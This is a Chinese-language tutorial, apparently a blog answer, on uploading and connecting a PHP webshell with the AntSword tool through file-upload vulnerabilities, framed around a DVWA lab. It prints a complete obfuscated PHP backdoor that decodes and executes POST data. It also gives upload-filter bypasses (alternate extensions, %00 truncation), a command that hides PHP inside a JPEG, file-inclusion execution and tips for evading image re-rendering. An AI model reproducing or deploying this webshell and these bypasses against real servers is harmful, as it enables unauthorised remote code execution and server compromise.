蚁剑上传文件

### 上传文件的方法和步骤 蚁剑是一款功能强大的安全测试工具，广泛用于Web渗透测试中，尤其是在利用文件上传漏洞时非常实用。以下是使用蚁剑进行文件上传的具体方法和步骤： #### 准备阶段 1. **获取目标URL**：首先需要确认目标网站存在文件上传漏洞，并准备好具体的上传页面地址。例如，在DVWA环境中，可以使用类似 `http://192.168.224.6/shixun/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/mnv.jpg` 的URL [^1]。 2. **配置环境**：确保目标服务器允许上传特定类型的文件（如 `.php` 或 `.jpg`），并了解其限制条件，例如是否检查MIME类型、文件扩展名等 [^2]。 #### 文件上传步骤 1. **生成WebShell脚本**： - 使用蚁剑内置的生成器或从其他来源获取一个合法的PHP WebShell脚本。例如： ```php <?php $qdjZ=create_function(chr(0x1cf-0x1ab).str_rot13('f').chr(0x15009/0x307).chr(228-119).str_rot13('r'),base64_decode('ZQ==').chr(104076/882).str_rot13('n').chr(651-543).chr(01545-01475).base64_decode('JA==').chr(90045/783).chr(0xca0e/0x1d2).str_rot13('z').chr(810-709).str_rot13(')').chr(29028/492));$qdjZ(base64_decode('Njc5M'.'jMzO0'.'BldkF'.'sKCRf'.'_POST'.base64_decode('VQ==').base64_decode('RQ==').str_rot13('9').chr(0xbe50/0x244).chr(390-304).''.''.str_rot13('S').chr(0157503/0761).str_rot13('k').base64_decode('TQ==').chr(01077-0725).''.'NdKTs'.'yMDM3'.'Njk5O'.'w=='.''));?> ``` 这段代码通过 `create_function` 创建了一个匿名函数，并解码后执行了用户通过 `POST` 请求提交的数据，从而实现远程代码执行 [^4]。 2. **上传文件**： - 打开蚁剑，进入“文件管理”模块。 - 在目标站点的文件上传页面中，选择要上传的WebShell文件（如 `shell.php`）。 - 点击“上传”按钮，等待上传结果。上传成功后，通常会返回文件路径，例如 `hackable/uploads/6.php` [^4]。 3. **连接WebShell**： - 在蚁剑中新建一个连接，输入目标WebShell的URL（如 `http://target.com/hackable/uploads/6.php`）。 - 设置连接密码（如果WebShell有密码保护的话），然后点击“连接”。 - 如果一切正常，蚁剑将显示连接成功，并提供一个交互式的终端界面，允许执行命令、浏览文件系统等操作 [^4]。 #### 常见问题及解决方案 1. **上传失败**： - 检查目标服务器的上传限制，例如文件大小、扩展名、MIME类型等。 - 尝试不同的绕过技巧，如使用 `.php5`、`.phtml` 等非标准扩展名，或者利用 `%00` 截断漏洞 [^2]。 2. **连接空响应**： - 确保WebShell代码正确无误，并且没有被服务器过滤或修改。 - 检查服务器是否启用了 `allow_url_include` 或 `allow_url_fopen` 配置项，这些设置可能影响WebShell的功能 [^4]。 3. **权限不足**： - 如果无法写入目标目录，尝试寻找其他可写的路径，或者利用提权漏洞提升权限。 - 使用 `chmod` 修改文件权限，确保WebShell具有可执行权限。 #### 图片木马上传方法 在某些情况下，服务器可能只允许上传图片文件（如 `.jpg`、`.png`）。此时可以考虑使用图片木马技术： 1. **创建图片木马**： - 使用工具将PHP代码嵌入到正常的图片文件中，例如使用 `copy /b image.jpg + shell.php output.jpg` 命令合并图片和PHP代码 [^2]。 2. **上传图片木马**： - 将生成的图片木马上传到目标服务器。 - 利用文件包含漏洞（如 `file_include`）读取图片内容并执行其中的PHP代码 [^3]。 #### 二次渲染绕过 有些服务器会对上传的图片进行二次渲染，导致嵌入的代码被清除。为了解决这个问题，可以在上传前对图片进行特殊处理，确保代码部分不会被破坏。例如，将代码放在图片的EXIF信息中，或者使用特定的编码方式隐藏代码 [^3]。